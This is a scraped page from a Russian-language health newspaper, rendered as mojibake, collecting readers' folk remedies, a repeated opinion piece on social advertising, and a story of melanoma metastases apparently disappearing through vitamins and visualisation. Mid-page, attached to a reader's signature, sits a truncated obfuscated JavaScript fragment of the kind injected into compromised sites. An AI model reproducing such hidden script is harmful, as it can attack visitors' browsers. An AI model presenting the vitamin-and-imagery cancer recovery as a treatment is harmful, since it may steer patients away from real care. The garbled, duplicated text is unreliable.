Ñêîëüêî ñåáÿ ïîìíþ, ó ìåíÿ âñåãäà áûë î÷åíü ñëàáûé æåëóäîê. Ñòîèò íåìíîãî ïîãðåøèòü ïðîòèâ äèåòû, íà÷èíàþòñÿ ïðîáëåìû – òî ïîíîñ, òî çàïîð. Ê ñ÷àñòüþ, ÿ íàó÷èëàñü ñïðàâëÿòüñÿ ñ ýòèìè íåïðèÿòíîñòÿìè. À ïîìîãàåò ìíå â ýòîì îâñÿíûé êèñåëü. Îí ðåãóëèðóåò ðàáîòó êèøå÷íèêà, íîðìàëèçóåò ñòóë è ïðè çàïîðàõ, è ïðè ïîíîñàõ.
Ïðèãîòîâèòü ëå÷åáíûé êèñåëü íåñëîæíî: êðóïó çàëèâàþò õîëîäíîé êèïÿ÷åíîé âîäîé â ïðîïîðöèè 1:1, êëàäóò íåìíîãî äðîææåé èëè êóñîê ðæàíîãî õëåáà è îñòàâëÿþò áðîäèòü íà 12 ÷àñîâ. Êàñòðþëüêó ñ êèñåëåì çàâåðòûâàþò â òîëñòóþ òêàíü, ÷òîáû ñîõðàíèòü òåïëî. Çàòåì îñòîðîæíî ñëèâàþò æèäêîñòü, äîâîäÿò äî êèïåíèÿ – è êèñåëü ãîòîâ.
Òàìàðà...
Êàæäîé äåâóøêå õî÷åòñÿ èìåòü ðîâíóþ, ãëàäêóþ, óïðóãóþ, áåç ìàëåéøåãî ïðûùèêà è ïÿòíûøêà êîæó ëèöà...
Ó ìåíÿ íà íîñó ðàñøèðåííûå ïîðû – «ïðèâåò» èç äàëåêîé þíîñòè, êîãäà íà íîñó áûëî ïîëíî ïðûùåé. Ñäåëàòü êîæó áîëåå ãëàäêîé è ñóçèòü ïîðû ìíå ïîìîãàåò ïðîòèðàíèå çàìîðîæåííûì íàñòîåì øàëôåÿ.
Îäíó ÷àéíóþ ëîæêó ñóõèõ ëèñòüåâ øàëôåÿ çàëèòü 50 ìë êðóòîãî êèïÿòêà, çàêðûòü, íàñòîÿòü 5–7 ìèíóò, ïðîöåäèòü. Êàê îñòûíåò, ðàçëèòü ïî ôîðìî÷êàì è ïîñòàâèòü äëÿ çàìîðàæèâàíèÿ. Ìîæíî êàïíóòü â îòâàð íåñêîëüêî êàïåëü ñîêà ëèìîíà.
Ìàðãàðèòà Ò., Ñàìàðà
Ïîìîæåì äðóã äðóãó!
Äîðîãèå ÷èòàòåëè! Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò áîðîòüñÿ ñ áåäîé â îäèíî÷êó. Ðàññêàæèòå î ñâîåé áîëåçíè. Íàâåðíÿêà ñðåäè ÷èòàòåëåé íàøåé ãàçåòû íàéäóòñÿ òå, êòî...
Âëèÿþò ëè íà íàøå ìíåíèå ðåêëàìíûå ðîëèêè? Íóæíû ëè îíè èëè ëó÷øå îáîéòèñü áåç íèõ?
Ìàðèÿ, 44 ãîäà, ïðîäàâåö
Áëàãîäàðÿ ñîöèàëüíîé ðåêëàìå ó ìíîãèõ ïîÿâëÿåòñÿ ðåàëüíûé øàíñ óçíàòü ÷òî-òî âàæíîå. Íàïðèìåð, êàê âû äóìàåòå, ìíîãèå ëè äåòè è ïîäðîñòêè èç íåáëàãîïîëó÷íûõ ñåìåé çíàþò, êàê çàùèòèòü ñåáÿ îò ÑÏÈÄà èëè ãåïàòèòà? Ðîäèòåëè ñ íèìè íà ýòó òåìó, âïðî÷åì, êàê è íà ìíîãèå äðóãèå, íå ðàçãîâàðèâàþò. Äëÿ íèõ èñòî÷íèê èíôîðìàöèè — äðóçüÿ íà óëèöå äà òåëåâèçîð. Õîðîøî, åñëè õîòÿ áû ïî òåëåâèçîðó èì âíóøàþò, êàê íóæíî ïðàâèëüíî ñåáÿ âåñòè! Äóìàþ, ÷òî áîëüøèíñòâî òàêèõ ïîäðîñòêîâ, íàïðèìåð, î òîì, ÷òî íóæíî ïîëüçîâàòüñÿ ïðåçåðâàòèâàìè, óçíàëè èìåííî èç ñîöèàëüíîé ðåêëàìû. Óëè÷íûå ïðèÿòåëè âðÿä ëè èì î òàêèõ «ìåëî÷àõ» ðàññêàçûâàþò....
Âëèÿþò ëè íà íàøå ìíåíèå ðåêëàìíûå ðîëèêè? Íóæíû ëè îíè èëè ëó÷øå îáîéòèñü áåç íèõ?
Ìàðèÿ, 44 ãîäà, ïðîäàâåö
Áëàãîäàðÿ ñîöèàëüíîé ðåêëàìå ó ìíîãèõ ïîÿâëÿåòñÿ ðåàëüíûé øàíñ óçíàòü ÷òî-òî âàæíîå. Íàïðèìåð, êàê âû äóìàåòå, ìíîãèå ëè äåòè è ïîäðîñòêè èç íåáëàãîïîëó÷íûõ ñåìåé çíàþò, êàê çàùèòèòü ñåáÿ îò ÑÏÈÄà èëè ãåïàòèòà? Ðîäèòåëè ñ íèìè íà ýòó òåìó, âïðî÷åì, êàê è íà ìíîãèå äðóãèå, íå ðàçãîâàðèâàþò. Äëÿ íèõ èñòî÷íèê èíôîðìàöèè — äðóçüÿ íà óëèöå äà òåëåâèçîð. Õîðîøî, åñëè õîòÿ áû ïî òåëåâèçîðó èì âíóøàþò, êàê íóæíî ïðàâèëüíî ñåáÿ âåñòè! Äóìàþ, ÷òî áîëüøèíñòâî òàêèõ ïîäðîñòêîâ, íàïðèìåð, î òîì, ÷òî íóæíî ïîëüçîâàòüñÿ ïðåçåðâàòèâàìè, óçíàëè èìåííî èç ñîöèàëüíîé ðåêëàìû. Óëè÷íûå ïðèÿòåëè âðÿä ëè èì î òàêèõ «ìåëî÷àõ» ðàññêàçûâàþò....
 êàæäîì ÷åëîâåêå çàëîæåí ìåõàíèçì âûçäîðîâëåíèÿ è ðåãåíåðàöèè òêàíåé. Åñëè ìîçã äà¸ò êîìàíäó, òî ýòîò ìåõàíèçì âêëþ÷àåòñÿ
Îïóõîëè-êðûñû
Ñîòðóäíèêà ôàðìàöåâòè÷åñêîé ôèðìû Èâàíà âðà÷è ïðèãîâîðèëè, êîãäà îáíàðóæèëè, ÷òî ìåëàíîìà ðàñïðîñòðàíèëàñü íà ïå÷åíü, æåëóäîê, ë¸ãêèå, êîñòè è äàëà 10 ìåòàñòàçîâ â ìîçã. Íî ìóæ÷èíà íå ñäàëñÿ. Íà÷àë ïðèíèìàòü ñòðàííóþ ñìåñü èç 17 âèòàìèíîâ è ïèùåâûõ äîáàâîê, âîîáðàæàë, ÷òî ìåòàñòàçû - ýòî êðûñû è îí îõîòèòñÿ íà íèõ ñ áåéñáîëüíîé áèòîé. À ÷åðåç íåñêîëüêî ìåñÿöåâ îáñëåäîâàíèå ïîêàçàëî, ÷òî ïî÷òè âñå ìåòàñòàçû èñ÷åçëè. Âðà÷è íå âåðèëè, ÷òî äåëî â âèòàìèíàõ, íî ðàçãàäàòü ñåêðåò âûçäîðîâëåíèÿ íå ñìîãëè.
- Ñ ìåëàíîìàìè äåéñòâèòåëüíî ÷àñòî âîçíèêàþò çàãàäî÷íûå ñèòóàöèè, - ãîâîðèò Àëåêñåé Ñåâåðöåâ, ïðîôåññîð, õèðóðã-îíêîëîã. - Ýòî...
Ê ñîæàëåíèþ, íà íåçíà÷èòåëüíîå êðîâîòå÷åíèå èç äåñåí îáðàùàåò âíèìàíèå äàëåêî íå êàæäûé
Íå òàê äàâíî õîäèëà ê ñòîìàòîëîãó ñíèìàòü çóáíîé êàìåíü. Âèäèìî, ÷òî-òî ïîøëî íå òàê èëè äåñíû ó ìåíÿ ñëèøêîì ÷óâñòâèòåëüíûå, íî ïîñëå ýòîé ïðîöåäóðû äîâîëüíî äîëãî íå ìîãëà âîññòàíîâèòüñÿ – êîãäà ÷èñòèëà çóáû, íà ùåòêå ïîÿâëÿëàñü êðîâü. Âðîäå áû íè÷åãî ñòðàøíîãî – íå ïîâîä áåæàòü ê âðà÷ó, íî âñå-òàêè äîâîëüíî íåïðèÿòíî. Ïîýòîìó ÿ ðåøèëà îáðàòèòüñÿ çà ïîìîùüþ ê íàðîäíûì ñðåäñòâàì.
Ìíå ïîìîã òàêîé ðåöåïò: 100 ã ëèñòüåâ ñòîëåòíèêà èçìåëü÷èòå äî ñîñòîÿíèÿ êàøèöû, ïîëîæèòå â ýìàëèðîâàííóþ êàñòðþëþ èëè ìèñêó è îñòàâüòå íà 1 ÷àñ. Çàòåì îòîæìèòå ñîê, äîâåäèòå åãî äî êèïåíèÿ, ïðîöåäèòå è ïîëîùèòå ðîò ýòèì ñîêîì, ðàçâîäÿ åãî êèïÿ÷åíîé âîäîé â...
Ëó÷øèì ñðåäñòâîì îò ïðîñòóäû ñëóæèò ãîðÿ÷èé ÷àé èç òðàâ
Õî÷ó ïîäåëèòüñÿ ñâîèì ôèðìåííûì ñðåäñòâîì äëÿ ëå÷åíèÿ ïðîñòóäû. Ýòîò ðåöåïò äîñòàëñÿ ìíå îò áàáóøêè. Ñòîèëî ìíå â äåòñòâå íà÷àòü êàøëÿòü èëè ðàññîïëèâèòüñÿ, áàáóëÿ òóò æå çàâàðèâàëà ìíå òðàâÿíîé ÷àé. Òåïåðü ëå÷ó ýòèì ñðåäñòâîì ñâîèõ äåòåé. Ïîìîãàåò îòëè÷íî.
×òîáû ïðèãîòîâèòü òðàâÿíîé ÷àé âàì ïîíàäîáèòñÿ 1 ñò. ëîæêà ñóõèõ öâåòîâ ëèïû, 3–5 ÿãîä øèïîâíèêà, 1 ÷. ëîæêà ñóõîé òðàâû ðîìàøêè àïòå÷íîé, 1 ñò. ëîæêà ñóõîé òðàâû ïîäîðîæíèêà. Ïîëó÷åííóþ ñìåñü çàëåéòå êèïÿòêîì, äàéòå íàñòîÿòüñÿ 10 ìèíóò, äîáàâüòå ìåä. Ïåéòå êàê ÷àé 3–4 ðàçà â äåíü.
Íèíà Ð., Ñàìàðàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Ñ ïðèõîäîì íîÿáðÿ íà ïðèëàâêàõ ìàãàçèíîâ ïîÿâëÿþòñÿ ÿðêî-îðàíæåâûå ïëîäû õóðìû... ïî÷åìó áû ýòèì íå âîñïîëüçîâàòüñÿ?
Ñåé÷àñ ñàìûé ñåçîí õóðìû. Äóìàþ, äàëåêî íå âñå çíàþò, ÷òî ýòîò ôðóêò – çàìå÷àòåëüíîå ñûðüå äëÿ äîìàøíèõ ìàñîê. Ïðè÷åì èç õóðìû ìîæíî ïðèãîòîâèòü êîñìåòèêó ïðàêòè÷åñêè äëÿ ëþáîãî òèïà êîæè.
Ïðè óâÿäàþùåé, ñòàðåþùåé êîæå ëèöà ðàñòåðòóþ ìÿêîòü õóðìû ñìåøàéòå ñî ñëèâêàìè èëè ìîëîêîì â ðàâíûõ ñîîòíîøåíèÿõ è íàíåñèòå íà ëèöî íà 15–20 ìèíóò. Çàòåì ñíèìèòå ìàñêó âàòíûì òàìïîíîì, îïîëîñíèòå ëèöî âîäîé.
Ïðè æèðíîé ïîðèñòîé êîæå ëèöà ìÿêîòü ñìåøàéòå ñî âçáèòûì áåëêîì êóðèíîãî ÿéöà. Ìàñêà î÷èùàåò, îñâåæàåò, îòáåëèâàåò, òîíèçèðóåò êîæó.
Äëÿ ñóõîé è íîðìàëüíîé êîæè ëèöà ìîæíî ïðèãîòîâèòü ïèòàòåëüíûé êðåì èç 1 ñò. ëîæêè êàøèöû ïëîäîâ õóðìû, ðàñòåðòîé...
Ïðûùè íà ëèöå ìîãóò ïîÿâëÿòüñÿ â ëþáîì âîçðàñòå èç-çà íàðóøåíèÿ ðàáîòû êèøå÷íèêà, ñòðåññà è íåïðàâèëüíîãî ïèòàíèÿ
Ìåñÿö íàçàä ÿ âíåçàïíî ïîêðûëàñü êàêèìè-òî ìåëêèìè ïðûùèêàìè. Óäèâèëàñü – âðîäå ïåðåõîäíûé âîçðàñò äàâíî çàêîí÷èëñÿ. Ïîìíþ, íàêóïèëà òîãäà âñÿêîé ðàçíîé êîñìåòèêè, íî ýôôåêò áûë íóëåâîé. È âîò êàê-òî ðàç ïîäðóãà ñêàçàëà ìíå, ÷òî ïðûùè ìîãóò ïîÿâëÿòüñÿ èç-çà íàðóøåíèÿ ðàáîòû êèøå÷íèêà. Ïîäóìàëà, ÷òî, íàâåðíîå, ýòî ìîé ñëó÷àé, âåäü âìåñòå ñ ïîÿâëåíèåì ïðûùèêîâ ÿ ñòàëà îùóùàòü êàêîé-òî äèñêîìôîðò â æèâîòå. Òà æå ñàìàÿ ïîäðóãà ïîñîâåòîâàëà ìíå ñðåäñòâî îò ýòîé íàïàñòè.
● Íóæíî âçÿòü ïî îäíîé áîëüøîé ãîðñòè ëèñòüåâ áåðåçû, ëèñòüåâ êðàïèâû, ëèñòüåâ øàëôåÿ. Äâå ñò. ëîæêè ñìåñè çàëèâàþò 2 ñòàêàíàìè êèïÿòêà è íàñòàèâàþò 15 ìèíóò. Ïüþò...
